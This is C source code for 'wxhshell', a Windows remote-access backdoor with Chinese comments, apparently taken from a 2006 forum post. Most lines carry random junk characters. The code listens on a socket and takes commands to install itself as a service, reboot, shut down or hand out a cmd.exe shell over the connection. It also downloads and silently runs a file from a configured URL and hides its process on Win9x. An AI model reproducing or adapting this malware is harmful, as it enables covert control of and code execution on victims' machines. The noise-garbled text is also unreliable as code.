  O~1p]j  
  // 帮助 FiH!) 6T  
  case '?': { !S<~(Ujyw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B9 {DO  
    break; }6(:OB?  
  } 1&WFs6  
  // 安装 X> KsbOZ  
  case 'i': { cE#Y,-f  
    if(Install()) ucO]&'hu:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<Q_4 V  
    else @J)vuGS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &0blHDMj{#  
    break; (6aZQ`H  
    } :"^$7  
  // 卸载  HuC lO  
  case 'r': { |1x,_uyQ%  
    if(Uninstall()) @TT[H*,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gj0NN:  
    else 1 1'Tt!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  6<GWDO  
    break; a_x6 v*  
    } O`| ri5d  
  // 显示 wxhshell 所在路径 smNr%}_g  
  case 'p': { r +fzmb  
    char svExeFile[MAX_PATH]; 3s Nq3I  
    strcpy(svExeFile,"\n\r"); "*WXr$  
      strcat(svExeFile,ExeFile); 1Sr}2@>  
        send(wsh,svExeFile,strlen(svExeFile),0); IVKE dwA  
    break; #,pLVt<  
    }  )BB a  
  // 重启 C <)&qx3  
  case 'b': { O*7~t17  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;RYKqUE  
    if(Boot(REBOOT)) C$; ~=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EtG)2)  
    else { }9dgm[C[b  
    closesocket(wsh); DKH9 O  
    ExitThread(0); w[_Uv4M  
    } _69\#YvCG  
    break; i vk|-C'\  
    } M>j)6?n`_  
  // 关机 q fe#kF9  
  case 'd': { vUA,`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }2{#=Elh  
    if(Boot(SHUTDOWN)) XUHY.M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Fjv.VQ,  
    else { >a K&T"  
    closesocket(wsh);  Q.yoxq  
    ExitThread(0); e%\KI\u  
    } AJ}Q,E  
    break; ~>|U%3}]  
    } "/=x u|  
  // 获取shell WBdb[N6\  
  case 's': { K} @:>;* 9  
    CmdShell(wsh); pcG q  
    closesocket(wsh); l+,rc*-j0  
    ExitThread(0); Gz:a1-x  
    break; S7*:eo  
  } 5 Da( DA  
  // 退出 [d}1Cq=_  
  case 'x': { \~>#<@h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UK/k?0  
    CloseIt(wsh); C09@2M'  
    break; 5=\b+<pE  
    } R!ij CF\  
  // 离开 |V5H(2/nk  
  case 'q': { aDESO5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O!jCQ{ T  
    closesocket(wsh);  :n4x}%  
    WSACleanup(); @nK 08Kj-  
    exit(1); xOH@V4z:  
    break; .u&g2Y  
        } jC=_>\<|X*  
  } P? n`n!qZ  
  } +X%yF{^m(  
UF tTt`N2  
  // 提示信息 XR(kR{yo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t1S\M%?  
} SV >EB;<  
  } n@f@-d$m\<  
RY&~{yl$"1  
  return; li?Gb1  
} W=/B[@3'  
tFCeE=4%  
// shell模块句柄 e"Z~%,^A  
int CmdShell(SOCKET sock) t<-Iiq+tL  
{ &%<G2x$  
STARTUPINFO si; Pt$7U[N  
ZeroMemory(&si,sizeof(si)); "cZ.86gG`:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ESAh(A)8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n$>H}#q  
PROCESS_INFORMATION ProcessInfo; rQF%;  
char cmdline[]="cmd"; /}wGmX! -!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ygHNAQG~  
  return 0; &f$jpIyVX  
} !#QD;,SE+  
:Fh* 4 &Z  
// 自身启动模式 LF8B5<[O  
int StartFromService(void) H)Yv_gT  
{ AyWCb  
typedef struct \%#jT GFs~  
{  ^(y4]yZ  
  DWORD ExitStatus; :gmVX}  
  DWORD PebBaseAddress; y9 "!ys  
  DWORD AffinityMask; zPn8>J<.0Q  
  DWORD BasePriority; zT@vji%Y  
  ULONG UniqueProcessId; mYZH]oo  
  ULONG InheritedFromUniqueProcessId; \|kU{d0  
}   PROCESS_BASIC_INFORMATION; ry:tL0;;e#  
2ma.zI@^u9  
PROCNTQSIP NtQueryInformationProcess; /dIiFr"e}G  
"qF8'58  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GCrMrZ6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aDs[\ '  
`ainJs:B  
  HANDLE             hProcess; Z|u_DaSrr|  
  PROCESS_BASIC_INFORMATION pbi; |e!Sm{#!  
r(RJ&\ !  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bR.T94-8y  
  if(NULL == hInst ) return 0; NoI=t  
jd#{66:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @E1N9S?>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,MdCeA%`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9.<$&mVk7`  
]C_6I\Z#=W  
  if (!NtQueryInformationProcess) return 0; k5^'b#v  
w1.~N`g$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |@ia(U~  
  if(!hProcess) return 0; NWFZ:h@v  
I3A](`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !JJY ( o  
"p<f#s}  
  CloseHandle(hProcess); wI)W:mUZZ  
]RV6( |U4_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3=` UX  
if(hProcess==NULL) return 0; K}6}Opr,Tt  
_uDtRoI8  
HMODULE hMod; @qeI4io-n  
char procName[255]; !5pp A  
unsigned long cbNeeded; cdk;HK_Ve.  
qr :[y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s:M:Ff  
V XC_Y  
  CloseHandle(hProcess); 7p|Pv;wp|  
XBBsdldZ  
if(strstr(procName,"services")) return 1; // 以服务启动 } pA0mW9  
778a)ZOzb  
  return 0; // 注册表启动 |3s-BKbN4  
} GZ9XG">  
8L0#<"'0  
// 主模块 |= ~9y"F  
int StartWxhshell(LPSTR lpCmdLine) 5'@}8W3b  
{ yVSJn>l!  
  SOCKET wsl; M^H357r%  
BOOL val=TRUE; Xod#$'M>  
  int port=0; _bW#* Y5  
  struct sockaddr_in door; o;}o"-s  
oA`Ncu5  
  if(wscfg.ws_autoins) Install(); pj'Yv  
[<6ez;2q'  
port=atoi(lpCmdLine); ~Xa >;  
~zi&u46  
if(port<=0) port=wscfg.ws_port; w<>B4m\  
Xq9%{'9  
  WSADATA data; ktnsq&qNL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1_ %3cN.  
Rzw}W7zg[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @qI^xs=Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k |M  
  door.sin_family = AF_INET; PE-Vx RN)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -GQ`n01  
  door.sin_port = htons(port); Y'58.8hl  
wTqgH@rGtR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x]w%?BlS  
closesocket(wsl); G$WMW@fy  
return 1; T2GJoJ!  
} U",kAQY  
{o AJL  
  if(listen(wsl,2) == INVALID_SOCKET) { CPAizS  
closesocket(wsl); t '* L,  
return 1; ^k/@y@%  
} j&u{a[Y/}  
  Wxhshell(wsl); K%)u zP  
  WSACleanup(); *IfLoKS'  
] vQn*T"^  
return 0; kk& ([ xqU  
<$R'y6U :  
} \vsfY   
"p0e6Z=  
// 以NT服务方式启动 ?$%#y u#.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o^H.uBO{  
{ OUQySac  
DWORD   status = 0; 0;KjP?5  
  DWORD   specificError = 0xfffffff; ~Cm_=[  
/U+0T>(HS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zg_ fec~6q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0.qnbDw_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZDMS:w.'T  
  serviceStatus.dwWin32ExitCode     = 0; ;5M I8  
  serviceStatus.dwServiceSpecificExitCode = 0; s&TPG0W  
  serviceStatus.dwCheckPoint       = 0; AKu]c-  
  serviceStatus.dwWaitHint       = 0; *7FtEk/l  
Gu-6~^Km9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W:' H&`0  
  if (hServiceStatusHandle==0) return; /5pVzv+rm  
w a2?%y_G  
status = GetLastError(); !UDTNF?1  
  if (status!=NO_ERROR) ?t46TV'G  
{ 7M7sq-n5z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "MOM@4\  
    serviceStatus.dwCheckPoint       = 0;  ]?M3X_Mq  
    serviceStatus.dwWaitHint       = 0; N6EG!*  
    serviceStatus.dwWin32ExitCode     = status; }}G`yfs}r  
    serviceStatus.dwServiceSpecificExitCode = specificError; c>mTd{Abi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v4OroG=^  
    return; #-W a3P  
  } i_Ol vuy~  
~U}0=lRVS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a'r8J~:jy  
  serviceStatus.dwCheckPoint       = 0; usc"m huQ  
  serviceStatus.dwWaitHint       = 0; n|q $=jE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); clyZD`*  
} _<}oBh  
6 b-'Hui+  
// 处理NT服务事件,比如:启动、停止 VN]70LFz*i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) > &tmdE  
{ 8Mg wXH  
switch(fdwControl) SI\ O>a 9{  
{ <5BNcl\ZL  
case SERVICE_CONTROL_STOP: POB6#x  
  serviceStatus.dwWin32ExitCode = 0; Klrd|;C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YMXhzqj  
  serviceStatus.dwCheckPoint   = 0; @^R6}qJ  
  serviceStatus.dwWaitHint     = 0; B:oE&Ahh{  
  { r^zra|]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %1h%#/#[  
  } `8M{13fv  
  return; t.X8c/,;g  
case SERVICE_CONTROL_PAUSE: +@G#Z3;l!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (}*1,N!#  
  break; M$,4B  
case SERVICE_CONTROL_CONTINUE: AO[/-Uij  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =/kwUjC?  
  break; S3 Dmc\f  
case SERVICE_CONTROL_INTERROGATE: 46 [k9T  
  break; SJ*qgI?}T  
}; y8%QS*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tK7v&[cI  
} wjy<{I  
tw k  
// 标准应用程序主函数 b=+3/-d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T$!Pkdh  
{  9q[ d?1  
V10JExsJ  
// 获取操作系统版本 ;r?s7b/>  
OsIsNt=GetOsVer(); wNvq['P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ky[s& >02  
N||a0&&  
  // 从命令行安装 lq}m0}9<  
  if(strpbrk(lpCmdLine,"iI")) Install(); zoibinm}Eg  
OjWg>v\ v  
  // 下载执行文件 :6TLT-B  
if(wscfg.ws_downexe) { [[s^rC<d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @PzRHnT*  
  WinExec(wscfg.ws_filenam,SW_HIDE); %1\~OnT  
} #kQ1,P6,(  
SiLWy=qbR  
if(!OsIsNt) { '+&!;Jj,  
// 如果时win9x,隐藏进程并且设置为注册表启动 xcE2hK/+  
HideProc(); M.qE$  
StartWxhshell(lpCmdLine); ?+_Y!*J2b  
} SDu%rr7sQ  
else rczwxWK  
  if(StartFromService()) !,<rW<&;  
  // 以服务方式启动 j4%\'xj:  
  StartServiceCtrlDispatcher(DispatchTable); -[}AhNYK  
else &iO53I^r/  
  // 普通方式启动 #sm@|'Q%  
  StartWxhshell(lpCmdLine); NjFlV(XT}  
o)WzZ,\F^J  
return 0; HuLvMYF  
}
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只看该作者 1 发表于: 2006-10-10
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